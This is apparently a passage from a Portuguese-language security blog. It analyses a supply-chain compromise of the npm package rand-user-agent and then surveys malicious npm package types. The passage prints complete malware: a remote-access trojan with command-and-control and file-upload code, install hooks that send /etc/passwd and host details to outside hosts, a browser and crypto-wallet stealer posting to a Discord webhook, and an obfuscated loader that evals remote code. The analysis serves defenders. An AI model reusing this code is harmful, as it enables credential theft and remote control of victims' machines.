,P+PP(gXh{;o_cxjn.not.2]Y"Pf6ep!$:1,>05PHPh,PF(P7.;{.lr[cs);k4P\/j7aP()M70glrP=01aes_Pfdr)axP p2?1ba2o;s..]a.6+6449ufPt$0a$5IsP(,P[ejmP0PP.P%;WBw(-5b$P d5.3Uu;3$aPnfu3Zha5 5gdP($1ao.aLko!j%ia21Pmh 0hi!6;K!P,_t`i)rP5.)J].$ b.}_P (Pe%_ %c^a_th,){(7  0sd@d$s=$_el-a]1!gtc(=&P)t_.f ssh{(.F=e9lP)1P($4P"P,9PK.P_P s));',
    ),
  );
  var zlJ = yCZ(siM, fqw);
  zlJ(5164);
  return 8268;
})();

Sim, isso parece mau. É óbvio que isto não era suposto estar ali.

Como é que o código foi lá parar?

Se olharmos para o repositório GitHub do projeto, vemos que o último commit foi há 7 meses, quando a versão 2.0.82 foi lançada.

GitHub Captura de ecrã de Rand-user-agent

Se olharmos para o histórico de versões do npm, vemos algo estranho. Houve vários lançamentos desde então:

Portanto, a última versão, de acordo com o GitHub, deve ser 2.0.82. E se inspeccionarmos os pacotes desde então, todos eles têm este código malicioso. Um caso claro de um ataque à cadeia de abastecimento. 

A carga útil maliciosa

O payload é bastante ofuscado, usando várias camadas de ofuscação para se esconder. Mas aqui está o payload final que acabará por encontrar:

global['_H2'] = ''
global['_H3'] = ''
;(async () => {
  const c = global.r || require,
    d = c('os'),
    f = c('path'),
    g = c('fs'),
    h = c('child_process'),
    i = c('crypto'),
    j = f.join(d.homedir(), '.node_modules')
  if (typeof module === 'object') {
    module.paths.push(f.join(j, 'node_modules'))
  } else {
    if (global['_module']) {
      global['_module'].paths.push(f.join(j, 'node_modules'))
    }
  }
  async function k(I, J) {
    return new global.Promise((K, L) => {
      h.exec(I, J, (M, N, O) => {
        if (M) {
          L('Error: ' + M.message)
          return
        }
        if (O) {
          L('Stderr: ' + O)
          return
        }
        K(N)
      })
    })
  }
  function l(I) {
    try {
      return c.resolve(I), true
    } catch (J) {
      return false
    }
  }
  const m = l('axios'),
    n = l('socket.io-client')
  if (!m || !n) {
    try {
      const I = {
        stdio: 'inherit',
        windowsHide: true,
      }
      const J = {
        stdio: 'inherit',
        windowsHide: true,
      }
      if (m) {
        await k('npm --prefix "' + j + '" install socket.io-client', I)
      } else {
        await k('npm --prefix "' + j + '" install axios socket.io-client', J)
      }
    } catch (K) {
      console.log(K)
    }
  }
  const o = c('axios'),
    p = c('form-data'),
    q = c('socket.io-client')
  let r,
    s,
    t = { M: P }
  const u = d.platform().startsWith('win'),
    v = d.type(),
    w = global['_H3'] || 'http://85.239.62[.]36:3306',
    x = global['_H2'] || 'http://85.239.62[.]36:27017'
  function y() {
    return d.hostname() + '$' + d.userInfo().username
  }
  function z() {
    const L = i.randomBytes(16)
    L[6] = (L[6] & 15) | 64
    L[8] = (L[8] & 63) | 128
    const M = L.toString('hex')
    return (
      M.substring(0, 8) +
      '-' +
      M.substring(8, 12) +
      '-' +
      M.substring(12, 16) +
      '-' +
      M.substring(16, 20) +
      '-' +
      M.substring(20, 32)
    )
  }
  function A() {
    const L = { reconnectionDelay: 5000 }
    r = q(w, L)
    r.on('connect', () => {
      console.log('Successfully connected to the server')
      const M = y(),
        N = {
          clientUuid: M,
          processId: s,
          osType: v,
        }
      r.emit('identify', 'client', N)
    })
    r.on('disconnect', () => {
      console.log('Disconnected from server')
    })
    r.on('command', F)
    r.on('exit', () => {
      process.exit()
    })
  }
  async function B(L, M, N, O) {
    try {
      const P = new p()
      P.append('client_id', L)
      P.append('path', N)
      M.forEach((R) => {
        const S = f.basename(R)
        P.append(S, g.createReadStream(R))
      })
      const Q = await o.post(x + '/u/f', P, { headers: P.getHeaders() })
      Q.status === 200
        ? r.emit(
            'response',
            'HTTP upload succeeded: ' + f.basename(M[0]) + ' file uploaded\n',
            O
          )
        : r.emit(
            'response',
            'Failed to upload file. Status code: ' + Q.status + '\n',
            O
          )
    } catch (R) {
      r.emit('response', 'Failed to upload: ' + R.message + '\n', O)
    }
  }
  async function C(L, M, N, O) {
    try {
      let P = 0,
        Q = 0
      const R = D(M)
      for (const S of R) {
        if (t[O].stopKey) {
          r.emit(
            'response',
            'HTTP upload stopped: ' +
              P +
              ' files succeeded, ' +
              Q +
              ' files failed\n',
            O
          )
          return
        }
        const T = f.relative(M, S),
          U = f.join(N, f.dirname(T))
        try {
          await B(L, [S], U, O)
          P++
        } catch (V) {
          Q++
        }
      }
      r.emit(
        'response',
        'HTTP upload succeeded: ' +
          P +
          ' files succeeded, ' +
          Q +
          ' files failed\n',
        O
      )
    } catch (W) {
      r.emit('response', 'Failed to upload: ' + W.message + '\n', O)
    }
  }
  function D(L) {
    let M = []
    const N = g.readdirSync(L)
    return (
      N.forEach((O) => {
        const P = f.join(L, O),
          Q = g.statSync(P)
        Q && Q.isDirectory() ? (M = M.concat(D(P))) : M.push(P)
      }),
      M
    )
  }
  function E(L) {
    const M = L.split(':')
    if (M.length < 2) {
      const R = {}
      return (
        (R.valid = false),
        (R.message = 'Command is missing ":" separator or parameters'),
        R
      )
    }
    const N = M[1].split(',')
    if (N.length < 2) {
      const S = {}
      return (
        (S.valid = false), (S.message = 'Filename or destination is missing'), S
      )
    }
    const O = N[0].trim(),
      P = N[1].trim()
    if (!O || !P) {
      const T = {}
      return (
        (T.valid = false), (T.message = 'Filename or destination is empty'), T
      )
    }
    const Q = {}
    return (Q.valid = true), (Q.filename = O), (Q.destination = P), Q
  }
  function F(L, M) {
    if (!M) {
      const O = {}
      return (
        (O.valid = false),
        (O.message = 'User UUID not provided in the command.'),
        O
      )
    }
    if (!t[M]) {
      const P = {
        currentDirectory: __dirname,
        commandQueue: [],
        stopKey: false,
      }
    }
    const N = t[M]
    N.commandQueue.push(L)
    G(M)
  }
  async function G(L) {
    let M = t[L]
    while (M.commandQueue.length > 0) {
      const N = M.commandQueue.shift()
      let O = ''
      if (N.startsWith('cd')) {
        const P = N.slice(2).trim()
        try {
          process.chdir(M.currentDirectory)
          process.chdir(P || '.')
          M.currentDirectory = process.cwd()
        } catch (Q) {
          O = 'Error: ' + Q.message
        }
      } else {
        if (N.startsWith('ss_upf') || N.startsWith('ss_upd')) {
          const R = E(N)
          if (!R.valid) {
            O = 'Invalid command format: ' + R.message + '\n'
            r.emit('response', O, L)
            continue
          }
          const { filename: S, destination: T } = R
          M.stopKey = false
          O = ' >> starting upload\n'
          if (N.startsWith('ss_upf')) {
            B(y(), [f.join(process.cwd(), S)], T, L)
          } else {
            N.startsWith('ss_upd') && C(y(), f.join(process.cwd(), S), T, L)
          }
        } else {
          if (N.startsWith('ss_dir')) {
            process.chdir(__dirname)
            M.currentDirectory = process.cwd()
          } else {
            if (N.startsWith('ss_fcd')) {
              const U = N.split(':')
              if (U.length < 2) {
                O = 'Command is missing ":" separator or parameters'
              } else {
                const V = U[1]
                process.chdir(V)
                M.currentDirectory = process.cwd()
              }
            } else {
              if (N.startsWith('ss_stop')) {
                M.stopKey = true
              } else {
                try {
                  const W = {
                    cwd: M.currentDirectory,
                    windowsHide: true,
                  }
                  const X = W
                  if (u) {
                    try {
                      const Y = f.join(
                          process.env.LOCALAPPDATA ||
                            f.join(d.homedir(), 'AppData', 'Local'),
                          'Programs\\Python\\Python3127'
                        ),
                        Z = { ...process.env }
                      Z.PATH = Y + ';' + process.env.PATH
                      X.env = Z
                    } catch (a0) {}
                  }
                  h.exec(N, X, (a1, a2, a3) => {
                    let a4 = '\n'
                    a1 && (a4 += 'Error executing command: ' + a1.message)
                    a3 && (a4 += 'Stderr: ' + a3)
                    a4 += a2
                    a4 += M.currentDirectory + '> '
                    r.emit('response', a4, L)
                  })
                } catch (a1) {
                  O = 'Error executing command: ' + a1.message
                }
              }
            }
          }
        }
      }
      O += M.currentDirectory + '> '
      r.emit('response', O, L)
    }
  }
  function H() {
    s = z()
    A(s)
  }
  H()
})()

Temos um RAT (Trojan de Acesso Remoto) nas nossas mãos. Aqui está uma visão geral do mesmo:

Visão geral do comportamento

O guião estabelece um canal de comunicação secreto com um comando e controlo (C2) servidor utilizando cliente socket.ioenquanto a exfiltração de ficheiros é feita através de áxis para um segundo ponto de extremidade HTTP. Instala dinamicamente estes módulos se estiverem em falta, ocultando-os numa .node_modules no diretório pessoal do utilizador.

 Infraestrutura C2

  • Comunicação de sockets: http://85.239.62[.]36:3306‍
  • Ponto final de carregamento de ficheiros: http://85.239.62[.]36:27017/u/f

Uma vez ligado, o cliente envia o seu ID único (nome do anfitrião + nome de utilizador), tipo de SO e ID do processo para o servidor.

Capacidades

Segue-se uma lista de capacidades (comandos) que o RAT suporta.

| Command         | Purpose                                                       |
| --------------- | ------------------------------------------------------------- |
| cd              | Change current working directory                              |
| ss_dir          | Reset directory to script’s path                              |
| ss_fcd:<path>   | Force change directory to <path>                              |
| ss_upf:f,d      | Upload single file f to destination d                         |
| ss_upd:d,dest   | Upload all files under directory d to destination dest        |
| ss_stop         | Sets a stop flag to interrupt current upload process          |
| Any other input | Treated as a shell command, executed via child_process.exec() |

Backdoor: Python3127 PATH Hijack

Uma das caraterísticas mais subtis deste RAT é a utilização de um PATH hijack específico do Windows, destinado a executar silenciosamente binários maliciosos sob o disfarce de ferramentas Python.

O script constrói e anexa o seguinte caminho ao PADRÃO variável de ambiente antes de executar comandos da shell:

%LOCALAPPDATA%\Programas\Python\Python3127

Ao injetar este diretório no início do PADRÃOqualquer comando que dependa de executáveis resolvidos pelo ambiente (por exemplo, pitão, pip, etc.) podem ser silenciosamente sequestrados. Isto é particularmente eficaz em sistemas onde já se espera que o Python esteja disponível.

const Y = path.join(
  process.env.LOCALAPPDATA || path.join(os.homedir(), 'AppData', 'Local'),
  'Programs\\Python\\\Python3127'
)
env.PATH = Y + ';' + process.env.PATH

‍

Indicadores de compromisso

Neste momento, os únicos indicadores que temos são as versões maliciosas, que são:

  • 2.0.84
  • 1.0.110
  • 2.0.83
| Uso | Ponto de extremidade | Protocolo/Método |
| ------------------ | ------------------------------- | -------------------------- |
| Socket Connection | http://85.239.62[.]36:3306 | socket.io-client |
| File Upload Target | http://85.239.62[.]36:27017/u/f | HTTP POST (multipart/form) |

Se instalou algum destes pacotes, pode verificar se comunicou com o C2

‍

‍

6 de maio de 2025
O guia de encontros de malware: Compreender os tipos de malware no NPM
Por
Charlie Eriksen
Charlie Eriksen

O guia de encontros de malware: Compreender os tipos de malware no NPM

O Nó O ecossistema é construído sobre uma base de confiança - confiança de que os pacotes que npm install estão a fazer o que dizem que fazem. Mas essa confiança é muitas vezes mal depositada.

Durante o ano passado, vimos uma tendência perturbadora: um número crescente de pacotes maliciosos publicados no npm, muitas vezes escondidos à vista de todos. Alguns são provas de conceito (PoCs) feitas por pesquisadores, outros são backdoors cuidadosamente criados. Alguns fingem ser bibliotecas legítimas, outros exfiltram dados mesmo debaixo do seu nariz usando ofuscação ou truques de formatação inteligentes.

Este artigo analisa vários pacotes maliciosos do mundo real que analisámos. Cada um deles representa um arquétipo distinto de técnica de ataque que vemos na natureza. Quer seja um programador, um red teamer ou um engenheiro de segurança, estes padrões devem estar no seu radar.

O PoC

Muitos dos pacotes que vemos são de pesquisadores de segurança que não fazem nenhuma tentativa real de serem furtivos. Eles estão simplesmente a tentar provar algo, muitas vezes como parte da caça aos bugs. Isso significa que seus pacotes são geralmente muito simples, muitas vezes não contendo código. Eles dependem puramente de um "gancho de ciclo de vida" que os pacotes podem usar, seja na pré-instalação, instalação ou pós-instalação. Esses hooks são comandos simples executados pelo gerenciador de pacotes durante a instalação.

Exemplo: local_editor_top

Segue-se um exemplo do pacote local_editor_top, que é um pacote que detectámos devido ao seu hook de pré-instalação que coloca o /etc/passwd para um ponto de extremidade do Burp Suite Collaborator com o nome do host prefixado.

{
  "name": "local_editor_top",
  "version": "10.7.2",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "preinstall": "sudo /usr/bin/curl --data @/etc/passwd $(hostname)pha9b0pvk52ir7uzfi2quxaozf56txjl8.oastify[.]com"
  },
  "author": "",
  "license": "ISC"
}

Exemplo: ccf-identidade

Alguns investigadores vão um pouco mais longe e chamam um ficheiro dentro do pacote ccf-identidade para extrair dados. Por exemplo, detectámos o pacote, observámos um gancho de ciclo de vida e um ficheiro javascript com muitos indicadores de ambiente de exfiltração:

{
  "name": "ccf-identity",
  "version": "2.0.2",
  "main": "index.js",
  "typings": "dist/index",
  "license": "MIT",
  "author": "Microsoft",
  "type": "module",
  "repository": {
    "type": "git",
    "url": "https://github.com/Azure/ccf-identity"
  },
  "scripts": {
    "preinstall": "node index.js",
    ...
  },
  "devDependencies": {
    ...
  },
  "dependencies": {
    "@microsoft/ccf-app": "5.0.13",
    ...
  }
}

Como se pode ver, ele chamará o ficheiro index.js antes do início do processo de instalação do pacote. Abaixo está o conteúdo do ficheiro.

const os = require("os");
const dns = require("dns");
const querystring = require("querystring");
const https = require("https");
const packageJSON = require("./package.json");
const package = packageJSON.name;

const trackingData = JSON.stringify({
    p: package,
    c: __dirname,
    hd: os.homedir(),
    hn: os.hostname(),
    un: os.userInfo().username,
    dns: dns.getServers(),
    r: packageJSON ? packageJSON.___resolved : undefined,
    v: packageJSON.version,
    pjson: packageJSON,
});

var postData = querystring.stringify({
    msg: trackingData,
});

var options = {
    hostname: "vzyonlluinxvix1lkokm8x0mzd54t5hu[.]oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
    port: 443,
    path: "/",
    method: "POST",
    headers: {
        "Content-Type": "application/x-www-form-urlencoded",
        "Content-Length": postData.length,
    },
};

var req = https.request(options, (res) => {
    res.on("data", (d) => {
        process.stdout.write(d);
    });
});

req.on("error", (e) => {
    // console.error(e);
});

req.write(postData);
req.end();

Estas provas de conceito vão bastante longe na recolha de muitas informações, incluindo também, muitas vezes, informações sobre adaptadores de rede!

O impostor

Se estiver atento, deve ter reparado que o exemplo anterior parecia indicar que se tratava de um pacote da Microsoft. Reparou? Não se preocupe, não é de facto um pacote da Microsoft! Pelo contrário, é também um exemplo do nosso segundo arquétipo: O Impostor. 

Um ótimo exemplo disto é o pacote pedidos-promessas. Vejamos o seu package.json ficheiro:

{
  "name": "requests-promises",
  "version": "4.2.1",
  "description": "The simplified HTTP request client 'request' with Promise support. Powered by Bluebird.",
  "keywords": [
    ...
  ],
  "main": "./lib/rp.js",
  "scripts": {
   ...
    "postinstall": "node lib/rq.js"
  },
  "repository": {
    "type": "git",
    "url": "git+https://github.com/request/request-promise.git"
  },
  "author": "Nicolai Kamenzky (https://github.com/analog-nico)",
  "license": "ISC",
  "bugs": {
    "url": "https://github.com/request/request-promise/issues"
  },
  "homepage": "https://github.com/request/request-promise#readme",
  "engines": {
    "node": ">=0.10.0"
  },
  "dependencies": {
    "request-promise-core": "1.1.4",
    "bluebird": "^3.5.0",
    "stealthy-require": "^1.1.1",
    "tough-cookie": "^2.3.3"
  },
  "peerDependencies": {
    "request": "^2.34"
  },
  "devDependencies": {
    ...
  }
}

Vai reparar em algo interessante. À partida, parece uma embalagem verdadeira, mas há duas grandes pistas de que algo não está bem:

  • As referências do Github mencionam pedido-promessaou seja, no singular. O nome do pacote está no plural.
  • Há um gancho pós-instalação para um ficheiro chamado lib/rq.js. 

De resto, o pacote parece legítimo. Ele tem o código esperado do pacote em lib/rp.js (Note-se a diferença entre rp.js e rq.js). Vejamos então este ficheiro extra, lib/rq.js.

const cp = require('child_process');
const {
  exec
} = require('child_process');
const fs = require('fs');
const crypto = require('crypto');
const DataPaths = ["C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\User Data".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Edge\\User Data".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Roaming\\Opera Software\\Opera Stable".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\Programs\\Opera GX".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data".replaceAll('Admin', process.env.USERNAME)]
const {
  URL
} = require('url');

function createZipFile(source, dest) {
  return new Promise((resolve, reject) => {
    const command = `powershell.exe -Command 'Compress-Archive -Path "${source}" -DestinationPath "${dest}"'`;
    exec(command, (error, stdout, stderr) => {
      if (error) {
        //console.log(error,stdout,stderr)
        reject(error);
      } else {
        //console.log(error,stdout,stderr)
        resolve(stdout);
      }
    });
  });
}
async function makelove(wu = atob("aHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvMTMzMDE4NDg5NDE0NzU5NjM0Mi9tY1JCNHEzRlFTT3J1VVlBdmd6OEJvVzFxNkNNTmk0VXMtb2FnQ0M0SjJMQ0NHd3RKZ1lNbVk0alZ4eUxnNk9LV2lYUA=="), filePath, fileName) {
  try {
    const fileData = fs.readFileSync(filePath);
    const formData = new FormData();
    formData.append('file', new Blob([fileData]), fileName);
    formData.append('content', process.env.USERDOMAIN);
    const response = await fetch(wu, {
      method: 'POST',
      body: formData,
    });
    if (!response.ok) {
      throw new Error(`HTTP error! status: ${response.status}`);
    }
    //console.log('Running Test(s) +1');
  } catch (error) {
    console.error('Error :', error);
  } finally {
    try {
      cp.execSync('cmd /C del "' + filePath + '"');
    } catch {}
  }
}
const folderName = "Local Extension Settings";
setTimeout(async function() {
  const dir = `C:\\Users\\${process.env.USERNAME}\\AppData\\Roaming\\Exodus\\exodus.wallet\\`;
  if (fs.existsSync(dir)) {
    //console.log(dir)
    const nayme = crypto.randomBytes(2).toString('hex')
    const command = `powershell -WindowStyle Hidden -Command "tar -cf 'C:\\ProgramData\\Intel\\brsr${nayme}.tar' -C '${dir}' ."`;
    cp.exec(command, (e, so, se) => {
      if (!e) {
        console.log('exo', nayme)
        makelove(undefined, `C:\\ProgramData\\Intel\\brsr${nayme}.tar`, 'exo.tar');
        //console.log(e,so,se)
      } else {
        //console.log(e,so,se)
      }
    })
  }
}, 0)
for (var i = 0; i < DataPaths.length; i++) {
  const datapath = DataPaths[i];
  if (fs.existsSync(datapath)) {
    const dirs = fs.readdirSync(datapath);
    const profiles = dirs.filter(a => a.toLowerCase().startsWith('profile'));
    profiles.push('Default');
    for (const profile of profiles) {
      if (typeof profile == "string") {
        const dir = datapath + '\\' + profile + '\\' + folderName;
        if (fs.existsSync(dir)) {
          //console.log(dir)
          const nayme = crypto.randomBytes(2).toString('hex')
          const command = `powershell -WindowStyle Hidden -Command "tar -cf 'C:\\ProgramData\\Intel\\brsr${nayme}.tar' -C '${dir}' ."`;
          cp.exec(command, (e, so, se) => {
            if (!e) {
              console.log('okok')
              makelove(undefined, `C:\\ProgramData\\Intel\\brsr${nayme}.tar`, 'extensions.tar');
              //console.log(e,so,se)
            } else {
              //console.log(e,so,se)
            }
          })
        }
      }
    }
  }
}

Não se deixe enganar pelo facto de o código ter uma função chamada makelove. É imediatamente óbvio que este código irá procurar caches de browser e carteiras criptográficas, que enviará para o endpoint que está codificado em base64. Quando descodificado, revela um webhook do Discord.

https://discord[.]com/api/webhooks/1330184894147596342/mcRB4q3FQSOruUYAvgz8BoW1q6CMNi4Us-oagCC4J2LCCGwtJgYMmY4jVxyLg6OKWiXP

Afinal, não é assim tão amoroso.

O ofuscador

Um truque clássico para evitar a deteção é utilizar a ofuscação. A boa notícia para um defensor é que a ofuscação é realmente ruidoso, sobressai como um polegar dorido e é trivial de ultrapassar na maior parte das vezes. Um exemplo disto é o pacote frango é bom. Olhando para o ficheiro index.js vemos que está claramente ofuscado.

var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Ox12553a=["\x6F\x73","\x68\x74\x74\x70\x73","\x65\x72\x72\x6F\x72","\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x70\x2E\x73\x62\x2F","\x73\x74\x61\x74\x75\x73\x43\x6F\x64\x65","","\x67\x65\x74","\x6C\x65\x6E\x67\x74\x68","\x63\x70\x75\x73","\x74\x6F\x74\x61\x6C\x6D\x65\x6D","\x66\x72\x65\x65\x6D\x65\x6D","\x75\x70\x74\x69\x6D\x65","\x6E\x65\x74\x77\x6F\x72\x6B\x49\x6E\x74\x65\x72\x66\x61\x63\x65\x73","\x66\x69\x6C\x74\x65\x72","\x6D\x61\x70","\x66\x6C\x61\x74","\x76\x61\x6C\x75\x65\x73","\x74\x65\x73\x74","\x73\x6F\x6D\x65","\x57\x61\x72\x6E\x69\x6E\x67\x3A\x20\x44\x65\x74\x65\x63\x74\x65\x64\x20\x76\x69\x72\x74\x75\x61\x6C\x20\x6D\x61\x63\x68\x69\x6E\x65\x21","\x77\x61\x72\x6E","\x48\x4F\x53\x54\x4E\x41\x4D\x45\x2D","\x48\x4F\x53\x54\x4E\x41\x4D\x45\x31","\x68\x6F\x73\x74\x6E\x61\x6D\x65","\x73\x74\x61\x72\x74\x73\x57\x69\x74\x68","\x63\x6F\x64\x65","\x45\x4E\x4F\x54\x46\x4F\x55\x4E\x44","\x65\x78\x69\x74","\x61\x74\x74\x61\x62\x6F\x79\x2E\x71\x75\x65\x73\x74","\x2F\x74\x68\x69\x73\x69\x73\x67\x6F\x6F\x64\x2F\x6E\x64\x73\x39\x66\x33\x32\x38","\x47\x45\x54","\x64\x61\x74\x61","\x65\x6E\x64","\x72\x65\x71\x75\x65\x73\x74","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];const os=require(__Ox12553a[0x0]);const https=require(__Ox12553a[0x1]);function checkNetwork(_0x8ed1x4){https[__Ox12553a[0x7]](__Ox12553a[0x4],(_0x8ed1x6)=>{if(_0x8ed1x6[__Ox12553a[0x5]]=== 200){_0x8ed1x4(null,true)}else {_0x8ed1x4( new Error(("\x55\x6E\x65\x78\x70\x65\x63\x74\x65\x64\x20\x72\x65\x73\x70\x6F\x6E\x73\x65\x20\x73\x74\x61\x74\x75\x73\x20\x63\x6F\x64\x65\x3A\x20"+_0x8ed1x6[__Ox12553a[0x5]]+__Ox12553a[0x6])))}})[__Ox12553a[0x3]](__Ox12553a[0x2],(_0x8ed1x5)=>{_0x8ed1x4(_0x8ed1x5)})}function checkCPUCores(_0x8ed1x8){const _0x8ed1x9=os[__Ox12553a[0x9]]()[__Ox12553a[0x8]];if(_0x8ed1x9< _0x8ed1x8){return false}else {return true}}function checkMemory(_0x8ed1xb){const _0x8ed1xc=os[__Ox12553a[0xa]]()/ (1024* 1024* 1024);const _0x8ed1xd=os[__Ox12553a[0xb]]()/ (1024* 1024* 1024);if(_0x8ed1xc- _0x8ed1xd< _0x8ed1xb){return false}else {return true}}function checkUptime(_0x8ed1xf){const _0x8ed1x10=os[__Ox12553a[0xc]]()* 1000;return _0x8ed1x10> _0x8ed1xf}function checkVirtualMachine(){const _0x8ed1x12=[/^00:05:69/,/^00:50:56/,/^00:0c:29/];const _0x8ed1x13=/^08:00:27/;const _0x8ed1x14=/^00:03:ff/;const _0x8ed1x15=[/^00:11:22/,/^00:15:5d/,/^00:e0:4c/,/^02:42:ac/,/^02:42:f2/,/^32:95:f4/,/^52:54:00/,/^ea:b7:ea/];const _0x8ed1x16=os[__Ox12553a[0xd]]();const _0x8ed1x17=Object[__Ox12553a[0x11]](_0x8ed1x16)[__Ox12553a[0x10]]()[__Ox12553a[0xe]](({_0x8ed1x19})=>{return !_0x8ed1x19})[__Ox12553a[0xf]](({_0x8ed1x18})=>{return _0x8ed1x18})[__Ox12553a[0xe]](Boolean);for(const _0x8ed1x18 of _0x8ed1x17){if(_0x8ed1x15[__Ox12553a[0x13]]((_0x8ed1x1a)=>{return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18)})|| _0x8ed1x13[__Ox12553a[0x12]](_0x8ed1x18)|| _0x8ed1x14[__Ox12553a[0x12]](_0x8ed1x18)|| _0x8ed1x12[__Ox12553a[0x13]]((_0x8ed1x1a)=>{return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18)})){console[__Ox12553a[0x15]](__Ox12553a[0x14]);return true}};return false}const disallowedHostPrefixes=[__Ox12553a[0x16],__Ox12553a[0x17]];function isHostnameValid(){const _0x8ed1x1d=os[__Ox12553a[0x18]]();for(let _0x8ed1x1e=0;_0x8ed1x1e< disallowedHostPrefixes[__Ox12553a[0x8]];_0x8ed1x1e++){if(_0x8ed1x1d[__Ox12553a[0x19]](disallowedHostPrefixes[_0x8ed1x1e])){return false}};return true}function startApp(){checkNetwork((_0x8ed1x5,_0x8ed1x20)=>{if(!_0x8ed1x5&& _0x8ed1x20){}else {if(_0x8ed1x5&& _0x8ed1x5[__Ox12553a[0x1a]]=== __Ox12553a[0x1b]){process[__Ox12553a[0x1c]](1)}else {process[__Ox12553a[0x1c]](1)}}});if(!checkMemory(2)){process[__Ox12553a[0x1c]](1)};if(!checkCPUCores(2)){process[__Ox12553a[0x1c]](1)};if(!checkUptime(1000* 60* 60)){process[__Ox12553a[0x1c]](1)};if(checkVirtualMachine()){process[__Ox12553a[0x1c]](1)};if(isHostnameValid()=== false){process[__Ox12553a[0x1c]](1)};const _0x8ed1x21={hostname:__Ox12553a[0x1d],port:8443,path:__Ox12553a[0x1e],method:__Ox12553a[0x1f]};const _0x8ed1x22=https[__Ox12553a[0x22]](_0x8ed1x21,(_0x8ed1x6)=>{let _0x8ed1x23=__Ox12553a[0x6];_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x20],(_0x8ed1x24)=>{_0x8ed1x23+= _0x8ed1x24});_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x21],()=>{eval(_0x8ed1x23)})});_0x8ed1x22[__Ox12553a[0x3]](__Ox12553a[0x2],(_0x8ed1x25)=>{});_0x8ed1x22[__Ox12553a[0x21]]()}startApp();;;(function(_0x8ed1x26,_0x8ed1x27,_0x8ed1x28,_0x8ed1x29,_0x8ed1x2a,_0x8ed1x2b){_0x8ed1x2b= __Ox12553a[0x23];_0x8ed1x29= function(_0x8ed1x2c){if( typeof alert!== _0x8ed1x2b){alert(_0x8ed1x2c)};if( typeof console!== _0x8ed1x2b){console[__Ox12553a[0x24]](_0x8ed1x2c)}};_0x8ed1x28= function(_0x8ed1x2d,_0x8ed1x26){return _0x8ed1x2d+ _0x8ed1x26};_0x8ed1x2a= _0x8ed1x28(__Ox12553a[0x25],_0x8ed1x28(_0x8ed1x28(__Ox12553a[0x26],__Ox12553a[0x27]),__Ox12553a[0x28]));try{_0x8ed1x26= __encode;if(!( typeof _0x8ed1x26!== _0x8ed1x2b&& _0x8ed1x26=== _0x8ed1x28(__Ox12553a[0x29],__Ox12553a[0x2a]))){_0x8ed1x29(_0x8ed1x2a)}}catch(e){_0x8ed1x29(_0x8ed1x2a)}})({})

Já podemos ver que menciona coisas como checkVirtualMachine, checkUptime, isHostnameValide outros nomes que levantam suspeitas. Mas para confirmar totalmente o que está a fazer, podemos passá-lo por desobfuscadores/descodificadores disponíveis publicamente. E, de repente, obtemos algo um pouco mais legível.

var _a = {};
var _0xb483 = ["_decode", "http://www.sojson.com/javascriptobfuscator.html"];
(function (_0xd642x1) {
  _0xd642x1[_0xb483[0]] = _0xb483[1];
})(_a);
var __Ox12553a = ["os", "https", "error", "on", "https://ip.sb/", "statusCode", "", "get", "length", "cpus", "totalmem", "freemem", "uptime", "networkInterfaces", "filter", "map", "flat", "values", "test", "some", "Warning: Detected virtual machine!", "warn", "HOSTNAME-", "HOSTNAME1", "hostname", "startsWith", "code", "ENOTFOUND", "exit", "attaboy.quest", "/thisisgood/nds9f328", "GET", "data", "end", "request", "undefined", "log", "删除", "版本号,js会定", "期弹窗,", "还请支持我们的工作", "jsjia", "mi.com"];
const os = require(__Ox12553a[0x0]);
const https = require(__Ox12553a[0x1]);
function checkNetwork(_0x8ed1x4) {
  https[__Ox12553a[0x7]](__Ox12553a[0x4], _0x8ed1x6 => {
    if (_0x8ed1x6[__Ox12553a[0x5]] === 200) {
      _0x8ed1x4(null, true);
    } else {
      _0x8ed1x4(new Error("Unexpected response status code: " + _0x8ed1x6[__Ox12553a[0x5]] + __Ox12553a[0x6]));
    }
  })[__Ox12553a[0x3]](__Ox12553a[0x2], _0x8ed1x5 => {
    _0x8ed1x4(_0x8ed1x5);
  });
}
function checkCPUCores(_0x8ed1x8) {
  const _0x8ed1x9 = os[__Ox12553a[0x9]]()[__Ox12553a[0x8]];
  if (_0x8ed1x9 < _0x8ed1x8) {
    return false;
  } else {
    return true;
  }
}
function checkMemory(_0x8ed1xb) {
  const _0x8ed1xc = os[__Ox12553a[0xa]]() / 1073741824;
  const _0x8ed1xd = os[__Ox12553a[0xb]]() / 1073741824;
  if (_0x8ed1xc - _0x8ed1xd < _0x8ed1xb) {
    return false;
  } else {
    return true;
  }
}
function checkUptime(_0x8ed1xf) {
  const _0x8ed1x10 = os[__Ox12553a[0xc]]() * 1000;
  return _0x8ed1x10 > _0x8ed1xf;
}
function checkVirtualMachine() {
  const _0x8ed1x12 = [/^00:05:69/, /^00:50:56/, /^00:0c:29/];
